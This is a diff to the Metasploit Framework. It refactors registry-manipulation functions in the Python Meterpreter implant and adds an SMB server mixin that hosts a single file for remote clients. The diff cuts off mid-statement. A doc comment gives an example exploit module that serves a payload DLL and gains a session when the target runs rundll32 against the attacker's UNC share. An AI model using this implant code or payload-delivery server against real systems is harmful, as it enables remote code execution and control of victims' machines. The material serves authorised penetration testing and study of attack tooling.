diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 1bd02b02f8..31811139a4 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1334,10 +1334,12 @@ def stdapi_net_socket_tcp_shutdown(request, response): channel.shutdown(how) return ERROR_SUCCESS, response +def _wreg_close_key(hkey): + ctypes.windll.advapi32.RegCloseKey(hkey) + @meterpreter.register_function_windll def stdapi_registry_close_key(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - result = ctypes.windll.advapi32.RegCloseKey(hkey) + _wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value']) return ERROR_SUCCESS, response @meterpreter.register_function_windll @@ -1372,11 +1374,9 @@ def stdapi_registry_delete_value(request, response): result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name)) return result, response -@meterpreter.register_function_windll -def stdapi_registry_enum_key(request, response): +def _wreg_enum_key(request, response, hkey): ERROR_MORE_DATA = 0xea ERROR_NO_MORE_ITEMS = 0x0103 - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] name = (ctypes.c_char * 4096)() index = 0 tries = 0 @@ -1399,10 +1399,22 @@ def stdapi_registry_enum_key(request, response): return result, response @meterpreter.register_function_windll -def stdapi_registry_enum_value(request, response): +def stdapi_registry_enum_key(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + return _wreg_enum_key(request, response, hkey) + +@meterpreter.register_function_windll +def stdapi_registry_enum_key_direct(request, response): + err, hkey = _wreg_open_key(request) + if err != ERROR_SUCCESS: + return err, response + ret = _wreg_enum_key(request, response, hkey) + _wreg_close_key(hkey) + return ret + +def _wreg_enum_value(request, response, hkey): ERROR_MORE_DATA = 0xea ERROR_NO_MORE_ITEMS = 0x0103 - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] name = (ctypes.c_char * 4096)() name_sz = ctypes.c_uint32() index = 0 @@ -1426,6 +1438,20 @@ def stdapi_registry_enum_value(request, response): index += 1 return result, response +@meterpreter.register_function_windll +def stdapi_registry_enum_value(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + return _wreg_enum_value(request, response, hkey) + +@meterpreter.register_function_windll +def stdapi_registry_enum_value_direct(request, response): + err, hkey = _wreg_open_key(request) + if err != ERROR_SUCCESS: + return err, response + ret = _wreg_enum_value(request, response, hkey) + _wreg_close_key(hkey) + return ret + @meterpreter.register_function_windll def stdapi_registry_load_key(request, response): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY) @@ -1434,16 +1460,22 @@ def stdapi_registry_load_key(request, response): result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name) return result, response -@meterpreter.register_function_windll -def stdapi_registry_open_key(request, response): +def _wreg_open_key(request): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8')) permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) handle_id = ctypes.c_void_p() if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS: - return error_result_windows(), response - response += tlv_pack(TLV_TYPE_HKEY, handle_id.value) + return error_result_windows(), 0 + return ERROR_SUCCESS, handle_id.value + +@meterpreter.register_function_windll +def stdapi_registry_open_key(request, response): + err, hkey = _wreg_open_key(request) + if err != ERROR_SUCCESS: + return err, response + response += tlv_pack(TLV_TYPE_HKEY, hkey) return ERROR_SUCCESS, response @meterpreter.register_function_windll @@ -1467,9 +1499,7 @@ def stdapi_registry_query_class(request, response): response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data)) return ERROR_SUCCESS, response -@meterpreter.register_function_windll -def stdapi_registry_query_value(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] +def _query_value(request, response, hkey): value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) value_type = ctypes.c_uint32() @@ -1496,8 +1526,20 @@ def stdapi_registry_query_value(request, response): return error_result_windows(), response @meterpreter.register_function_windll -def stdapi_registry_set_value(request, response): +def stdapi_registry_query_value(request, response): hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + return _query_value(request, response, hkey) + +@meterpreter.register_function_windll +def stdapi_registry_query_value_direct(request, response): + err, hkey = _wreg_open_key(request) + if err != ERROR_SUCCESS: + return err, response + ret = _query_value(request, response, hkey) + _wreg_close_key(hkey) + return ret + +def _set_value(request, response, hkey): value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value'] @@ -1505,6 +1547,20 @@ def stdapi_registry_set_value(request, response): result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data)) return result, response +@meterpreter.register_function_windll +def stdapi_registry_set_value(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + return _set_value(request, response, hkey) + +@meterpreter.register_function_windll +def stdapi_registry_set_value_direct(request, response): + err, hkey = _wreg_open_key(request) + if err != ERROR_SUCCESS: + return err, response + ret = _set_value(request, response, hkey) + _wreg_close_key(hkey) + return ret + @meterpreter.register_function_windll def stdapi_registry_unload_key(request, response): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index af02fa9f9b..cd7edc03f9 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -32,6 +32,7 @@ require 'msf/core/exploit/smb/client' require 'msf/core/exploit/smb/client/authenticated' require 'msf/core/exploit/smb/client/psexec' require 'msf/core/exploit/smb/server' +require 'msf/core/exploit/smb/server/share' require 'msf/core/exploit/ftp' require 'msf/core/exploit/tftp' require 'msf/core/exploit/telnet' diff --git a/lib/msf/core/exploit/smb/server.rb b/lib/msf/core/exploit/smb/server.rb index 5a75af3e16..3efb46ff57 100644 --- a/lib/msf/core/exploit/smb/server.rb +++ b/lib/msf/core/exploit/smb/server.rb @@ -133,11 +133,18 @@ module Msf pkt = CONST::SMB_BASE_PKT.make_struct smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = cmd - pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE if esn - pkt['Payload']['SMB'].v['Flags2'] = 0xc801 + pkt['Payload']['SMB'].v['Flags2'] = + CONST::FLAGS2_UNICODE_STRINGS + + CONST::FLAGS2_EXTENDED_SECURITY + + CONST::FLAGS2_32_BIT_ERROR_CODES + + CONST::FLAGS2_LONG_PATH_COMPONENTS else - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + pkt['Payload']['SMB'].v['Flags2'] = + CONST::FLAGS2_UNICODE_STRINGS + + CONST::FLAGS2_32_BIT_ERROR_CODES + + CONST::FLAGS2_LONG_PATH_COMPONENTS end pkt['Payload']['SMB'].v['ErrorClass'] = errorclass c.put(pkt.to_s) diff --git a/lib/msf/core/exploit/smb/server/share.rb b/lib/msf/core/exploit/smb/server/share.rb new file mode 100644 index 0000000000..a014f8911f --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share.rb @@ -0,0 +1,297 @@ +# -*- coding: binary -*- +require 'rex/socket' +require 'rex/proto/smb' +require 'rex/text' +require 'rex/logging' +require 'rex/struct2' +require 'rex/proto/smb/constants' +require 'rex/proto/smb/utils' +require 'rex/proto/dcerpc' + +module Msf + module Exploit::Remote::SMB::Server + # This mixin provides a minimal SMB server sharing an UNC resource. At + # this moment it is capable to share just one file. And the file should + # live in the root folder "\\". + # + # @example Use it from an Auxiliary module + # require 'msf/core' + # + # class Metasploit3 < Msf::Auxiliary + # + # include Msf::Exploit::Remote::SMB::Server::Share + # + # def initialize + # super( + # 'Name' => 'SMB File Server', + # 'Description' => %q{ + # This module provides a SMB File Server service + # }, + # 'Author' => + # [ + # 'Matthew Hall', + # 'juan vazquez' + # ], + # 'License' => MSF_LICENSE, + # 'Actions' => + # [ + # ['Service'] + # ], + # 'PassiveActions' => + # [ + # 'Service' + # ], + # 'DefaultAction' => 'Service' + # ) + # end + # + # def run + # print_status("Starting SMB Server on #{unc}...") + # exploit + # end + # + # def primer + # print_status("Primer...") + # self.file_contents = 'METASPLOIT' + # end + # end + # + # @example Use it from an Exploit module + # require 'msf/core' + # + # class Metasploit3 < Msf::Exploit::Remote + # Rank = ExcellentRanking + # + # include Msf::Exploit::EXE + # include Msf::Exploit::Remote::SMB::Server::Share + # + # def initialize(info={}) + # super(update_info(info, + # 'Name' => "Example Exploit", + # 'Description' => %q{ + # Example exploit, the Server shares a DLL embedding the payload. A session + # can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from + # from the target. + # }, + # 'License' => MSF_LICENSE, + # 'Author' => + # [ + # 'Matthew Hall', + # 'juan vazquez' + # ], + # 'References' => + # [ + # ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074'] + # ], + # 'Payload' => + # { + # 'Space' => 2048, + # 'DisableNops' => true + # }, + # 'Platform' => 'win', + # 'Targets' => + # [ + # ['Windows XP SP3 / Windows 2003 SP2', {}], + # ], + # 'Privileged' => false, + # 'DisclosureDate' => "Mar 02 2015", + # 'DefaultTarget' => 0)) + # + # register_options( + # [ + # OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll']) + # ], self.class) + # + # deregister_options('FILE_CONTENTS') + # end + # + # def primer + # self.file_contents = generate_payload_dll + # print_status("File available on #{unc}...") + # end + # end + module Share + require 'msf/core/exploit/smb/server/share/command' + require 'msf/core/exploit/smb/server/share/information_level' + + include Msf::Exploit::Remote::SMB::Server::Share::Command::Close + include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate + include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx + include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx + include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2 + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2 + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation + include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find + include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query + + include Msf::Exploit::Remote::SMB::Server + + FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE + + FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS | + CONST::FLAGS2_EXTENDED_SECURITY | + CONST::FLAGS2_32_BIT_ERROR_CODES | + CONST::FLAGS2_LONG_PATH_COMPONENTS + + CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS | + CONST::CAP_LARGE_WRITEX | + CONST::CAP_LARGE_READX | + CONST::CAP_PASSTHRU | + CONST::CAP_DFS | + CONST::CAP_NT_FIND | + CONST::CAP_LOCK_AND_READ | + CONST::CAP_LEVEL_II_OPLOCKS | + CONST::CAP_STATUS32 | + CONST::CAP_RPC_REMOTE_APIS | + CONST::CAP_NT_SMBS | + CONST::CAP_LARGE_FILES | + CONST::CAP_UNICODE | + CONST::CAP_RAW_MODE + + CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS | + CONST::SMB_WRITE_ACCESS | + CONST::SMB_APPEND_ACCESS | + CONST::SMB_READ_EA_ACCESS | + CONST::SMB_WRITE_EA_ACCESS | + CONST::SMB_EXECUTE_ACCESS | + CONST::SMB_DELETE_CHILD_ACCESS | + CONST::SMB_READ_ATTRIBUTES_ACCESS | + CONST::SMB_WRITE_ATTRIBUTES_ACCESS | + CONST::SMB_DELETE_ACCESS | + CONST::SMB_READ_CONTROL_ACCESS | + CONST::SMB_WRITE_DAC_ACCESS | + CONST::SMB_WRITE_OWNER_ACCESS | + CONST::SMB_SYNC_ACCESS + + TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS | + CONST::SMB_READ_EA_ACCESS | + CONST::SMB_EXECUTE_ACCESS | + CONST::SMB_READ_ATTRIBUTES_ACCESS | + CONST::SMB_READ_CONTROL_ACCESS | + CONST::SMB_SYNC_ACCESS + + # @!attribute share + # @return [String] The share portion of the provided UNC. + attr_accessor :share + # @!attribute path_name + # @return [String] The folder where the provided file lives. + # @note UNSUPPORTED + attr_accessor :path_name + # @!attribute file_name + # @return [String] The file name of the provided UNC. + attr_accessor :file_name + # @!attribute hi + # @return [Fixnum] The high 4 bytes for the file 'created time'. + attr_accessor :hi + # @!attribute lo + # @return [Fixnum] The low 4 bytes for the file 'created time'. + attr_accessor :lo + # @!attribute file_contents + # @return [String] The contents of the provided file + attr_accessor :file_contents + + def initialize(info = {}) + super + + register_options( + [ + OptString.new('SHARE', [ false, 'Share (Default Random)']), + OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']), + OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)']) + ], Msf::Exploit::Remote::SMB::Server::Share) + end + + # Setups the server configuration. + def setup + super + + self.path_name = '\\' # TODO: Add subdirectories support + self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3)) + self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3)) + + t = Time.now.to_i + self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t) + + # The module has an opportunity to set up the file contents in the "primer callback" + if datastore['FILE_CONTENTS'] + File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read } + else + self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150)) + end + end + + # Builds the UNC Name for the shared file + def unc + "\\\\#{srvhost}\\#{share}\\#{file_name}" + end + + # Builds the server address. + # + # @return [String] The server address. + def srvhost + datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'] + end + + # New connection handler, executed when there is a new conneciton. + # + # @param c [Socket] The client establishing the connection. + # @return [Hash] The hash with the client data initialized. + def smb_conn(c) + @state[c] = { + :name => "#{c.peerhost}:#{c.peerport}", + :ip => c.peerhost, + :port => c.peerport, + :multiplex_id => rand(0xffff), + :process_id => rand(0xffff), + :file_id => 0xdead, + :dir_id => 0xbeef + } + end + + # Main dispatcher function. Takes the client data and performs a case switch + # on the command (e.g. Negotiate, Session Setup, Read file, etc.) + # + # @param cmd [Fixnum] The SMB Command requested. + # @param c [Socket] The client to answer. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_dispatch(cmd, c, buff) + smb = @state[c] + + pkt = CONST::SMB_BASE_PKT.make_struct + pkt.from_s(buff) + #Record the IDs + smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] + smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] + smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] + smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] + + case cmd + when CONST::SMB_COM_NEGOTIATE + return smb_cmd_negotiate(c, buff) + when CONST::SMB_COM_SESSION_SETUP_ANDX + word_count = pkt['Payload']['SMB'].v['WordCount'] + if word_count == 0x0d # Share Security Mode sessions + return smb_cmd_session_setup_andx(c, buff) + else + print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ") + return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) + end + when CONST::SMB_COM_TRANSACTION2 + return smb_cmd_trans2(c, buff) + when CONST::SMB_COM_NT_CREATE_ANDX + return smb_cmd_nt_create_andx(c, buff) + when CONST::SMB_COM_READ_ANDX + return smb_cmd_read_andx(c, buff) + when CONST::SMB_COM_CLOSE + return smb_cmd_close(c, buff) + else + vprint_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ") + return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command.rb b/lib/msf/core/exploit/smb/server/share/command.rb new file mode 100644 index 0000000000..1d6c708be6 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command.rb @@ -0,0 +1,16 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + require 'msf/core/exploit/smb/server/share/command/close' + require 'msf/core/exploit/smb/server/share/command/negotiate' + require 'msf/core/exploit/smb/server/share/command/nt_create_andx' + require 'msf/core/exploit/smb/server/share/command/read_andx' + require 'msf/core/exploit/smb/server/share/command/session_setup_andx' + require 'msf/core/exploit/smb/server/share/command/trans2' + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/close.rb b/lib/msf/core/exploit/smb/server/share/command/close.rb new file mode 100644 index 0000000000..a20aa12b32 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/close.rb @@ -0,0 +1,38 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Close + + # Handles an SMB_COM_CLOSE command, used by the client to close an instance + # of an object associated with a valid FID. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_close(c, buff) + send_close_res(c) + end + + # Builds and sends an SMB_COM_CLOSE response. + # + # @param c [Socket] The client to answer. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_close_res(c) + pkt = CONST::SMB_CLOSE_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT + + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/negotiate.rb b/lib/msf/core/exploit/smb/server/share/command/negotiate.rb new file mode 100644 index 0000000000..8af877439c --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/negotiate.rb @@ -0,0 +1,90 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Negotiate + + # Handles an SMB_COM_NEGOTIATE command, used by the client to initiate an + # SMB connection between the client and the server. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_negotiate(c, buff) + pkt = CONST::SMB_NEG_PKT.make_struct + pkt.from_s(buff) + + dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) + dialect = dialects.index("NT LM 0.12") || dialects.length-1 + + send_negotitate_res(c, { + dialect: dialect, + security_mode: CONST::NEG_SECURITY_PASSWORD, + max_mpx: 50, + max_vcs: 1, + max_buff: 4356, + max_raw: 65536, + server_time_zone: 0, + capabilities: CAPABILITIES, + key_length: 8, + key: Rex::Text.rand_text_hex(8) + }) + end + + # Builds and sends an SMB_COM_CLOSE response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => }] Response custom values. + # @option opts [Fixnum] :dialect The index of the dialect selected by the server from the request. + # @option opts [Fixnum] :security_mode Security modes supported or required by the server. + # @option opts [Fixnum] :max_mpx The maximum number of outstanding SMB operations that the server supports. + # @option opts [Fixnum] :max_vcs The maximum number of virtual circuits between the client and the server. + # @option opts [Fixnum] :max_buff Largest SMB message that the server can handle. + # @option opts [Fixnum] :max_raw Max size for SMB_COM_WRITE_RAW requests and SMB_COM_READ_RAW responses. + # @option opts [Fixnum] :server_time_zone The server's time zone. + # @option opts [Fixnum] :capabilities The server capability indicators. + # @option opts [Fixnum] :key_length The challenge length. + # @option opts [String] :key The challenge. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_negotitate_res(c, opts = {}) + dialect = opts[:dialect] || 0 + security_mode = opts[:security_mode] || 0 + max_mpx = opts[:max_mpx] || 0 + max_vcs = opts[:max_vcs] || 0 + max_buff = opts[:max_buff] || 0 + max_raw = opts[:max_raw] || 0 + server_time_zone = opts[:server_time_zone] || 0 + capabilities = opts[:capabilities] || 0 + key_length = opts[:key_length] || 0 + key = opts[:key] || '' + + pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NEGOTIATE_RES_WORD_COUNT + pkt['Payload'].v['Dialect'] = dialect + pkt['Payload'].v['SecurityMode'] = security_mode + pkt['Payload'].v['MaxMPX'] = max_mpx + pkt['Payload'].v['MaxVCS'] = max_vcs + pkt['Payload'].v['MaxBuff'] = max_buff + pkt['Payload'].v['MaxRaw'] = max_raw + pkt['Payload'].v['SystemTimeLow'] = lo + pkt['Payload'].v['SystemTimeHigh'] = hi + pkt['Payload'].v['ServerTimeZone'] = server_time_zone + pkt['Payload'].v['SessionKey'] = 0 + pkt['Payload'].v['Capabilities'] = capabilities + pkt['Payload'].v['KeyLength'] = key_length + pkt['Payload'].v['Payload'] = key + + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb b/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb new file mode 100644 index 0000000000..9ea34eb0df --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb @@ -0,0 +1,105 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module NtCreateAndx + + # Handles an SMB_COM_NT_CREATE_ANDX command, used by the client to create and + # open a new file. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_nt_create_andx(c, buff) + smb = @state[c] + pkt = CONST::SMB_CREATE_PKT.make_struct + pkt.from_s(buff) + + payload = (pkt['Payload'].v['Payload']).downcase + payload.gsub!(/^[\x00]*/, '') # delete padding + payload = Rex::Text.ascii_safe_hex(payload) + payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars + + if payload.nil? || payload.empty? + payload = file_name + end + + if payload.ends_with?(file_name) + vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ") + fid = smb[:file_id].to_i + attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL + eof = file_contents.length + is_dir = 0 + elsif payload.eql?(path_name) + fid = smb[:dir_id].to_i + attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + eof = 0 + is_dir = 1 + else + # Otherwise send not found + vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX for #{payload}, not found") + return smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_nt_create_andx_res(c, { + file_id: fid, + attributes: attribs, + end_of_file_low: eof, + is_directory: is_dir, + alloc_low: 0x100000 + }) + end + + # Builds and sends an SMB_COM_NT_CREATE_ANDX response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => }] Response custom values. + # @option opts [Fixnum] :file_id A FID representing the file or directory created or opened. + # @option opts [Fixnum] :attributes The attributes that the server assigned to the file or directory. + # @option opts [Fixnum] :end_of_file_low The end of file offset value (4 bytes) + # @option opts [Fixnum] :is_directory Indicates if the FID represents a directory. + # @option opts [Fixnum] :alloc_low The number of bytes allocated to the file by the server. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_nt_create_andx_res(c, opts = {}) + file_id = opts[:file_id] || 0 + attributes = opts[:attributes] || 0 + end_of_file_low = opts[:end_of_file_low] || 0 + is_directory = opts[:is_directory] || 0 + alloc_low = opts[:alloc_low] || 0 + + pkt = CONST::SMB_CREATE_ANDX_RES_PKT.make_struct + smb_set_defaults(c, pkt) + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NT_CREATE_ANDX_RES_WORD_COUNT + pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND + pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File + pkt['Payload'].v['FileID'] = file_id + pkt['Payload'].v['Action'] = CONST::FILE_OPEN # The file existed and was opened + pkt['Payload'].v['CreateTimeLow'] = lo + pkt['Payload'].v['CreateTimeHigh'] = hi + pkt['Payload'].v['AccessTimeLow'] = lo + pkt['Payload'].v['AccessTimeHigh'] = hi + pkt['Payload'].v['WriteTimeLow'] = lo + pkt['Payload'].v['WriteTimeHigh'] = hi + pkt['Payload'].v['ChangeTimeLow'] = lo + pkt['Payload'].v['ChangeTimeHigh'] = hi + pkt['Payload'].v['Attributes'] = attributes + pkt['Payload'].v['AllocLow'] = alloc_low + pkt['Payload'].v['AllocHigh'] = 0 + pkt['Payload'].v['EOFLow'] = end_of_file_low + pkt['Payload'].v['EOFHigh'] = 0 + pkt['Payload'].v['FileType'] = CONST::SMB_RESOURCE_FILE_TYPE_DISK + pkt['Payload'].v['IPCState'] = 0x7 # Number maxim of instance a named pipe can have + pkt['Payload'].v['IsDirectory'] = is_directory + pkt['Payload'].v['MaxAccess'] = CREATE_MAX_ACCESS + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/read_andx.rb b/lib/msf/core/exploit/smb/server/share/command/read_andx.rb new file mode 100644 index 0000000000..b1398456d5 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/read_andx.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module ReadAndx + + # Handles an SMB_COM_READ_ANDX command, used by the client to read data from a + # file. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_read_andx(c, buff) + pkt = CONST::SMB_READ_PKT.make_struct + pkt.from_s(buff) + + offset = pkt['Payload'].v['Offset'] + length = pkt['Payload'].v['MaxCountLow'] + + send_read_andx_res(c, { + data_len_low: length, + byte_count: length, + data: file_contents[offset, length] + }) + end + + # Builds and sends an SMB_COM_NT_CREATE_ANDX response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => }] Response custom values. + # @option opts [Fixnum] :data_len_low The length of the file data sent back. + # @option opts [Fixnum] :byte_count The length of the file data sent back. + # @option opts [String] :data The bytes read from the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_read_andx_res(c, opts = {}) + data_len_low = opts[:data_len_low] || 0 + byte_count = opts[:byte_count] || 0 + data = opts[:data] || '' + + pkt = CONST::SMB_READ_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_READ_ANDX_RES_WORD_COUNT + pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND + pkt['Payload'].v['Remaining'] = 0xffff + pkt['Payload'].v['DataLenLow'] = data_len_low + pkt['Payload'].v['DataOffset'] = CONST::SMB_READ_RES_HDR_PKT_LENGTH + pkt['Payload'].v['DataLenHigh'] = 0 + pkt['Payload'].v['Reserved3'] = 0 + pkt['Payload'].v['Reserved4'] = 0x0a + pkt['Payload'].v['ByteCount'] = byte_count + pkt['Payload'].v['Payload'] = data + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/session_setup_andx.rb b/lib/msf/core/exploit/smb/server/share/command/session_setup_andx.rb new file mode 100644 index 0000000000..8d36e29521 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/session_setup_andx.rb @@ -0,0 +1,87 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + # @todo Add support to only allow session setup against the configured shared resource + module SessionSetupAndx + + # Handles an SMB_COM_SESSION_SETUP_ANDX command, used by the client to configure an SMB Session. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_session_setup_andx(c, buff) + tree_connect_response = CONST::SMB_TREE_CONN_ANDX_RES_PKT.make_struct + tree_connect_response.v['WordCount'] = CONST::SMB_TREE_CONN_ANDX_WORD_COUNT + tree_connect_response.v['AndXCommand'] = CONST::SMB_COM_NO_ANDX_COMMAND + tree_connect_response.v['AndXReserved'] = 0 + tree_connect_response.v['AndXOffset'] = 0 + tree_connect_response.v['OptionalSupport'] = 1 + tree_connect_response.v['AccessRights'] = TREE_CONNECT_MAX_ACCESS + tree_connect_response.v['GuestAccessRights'] = 0 + tree_connect_response.v['Payload'] = 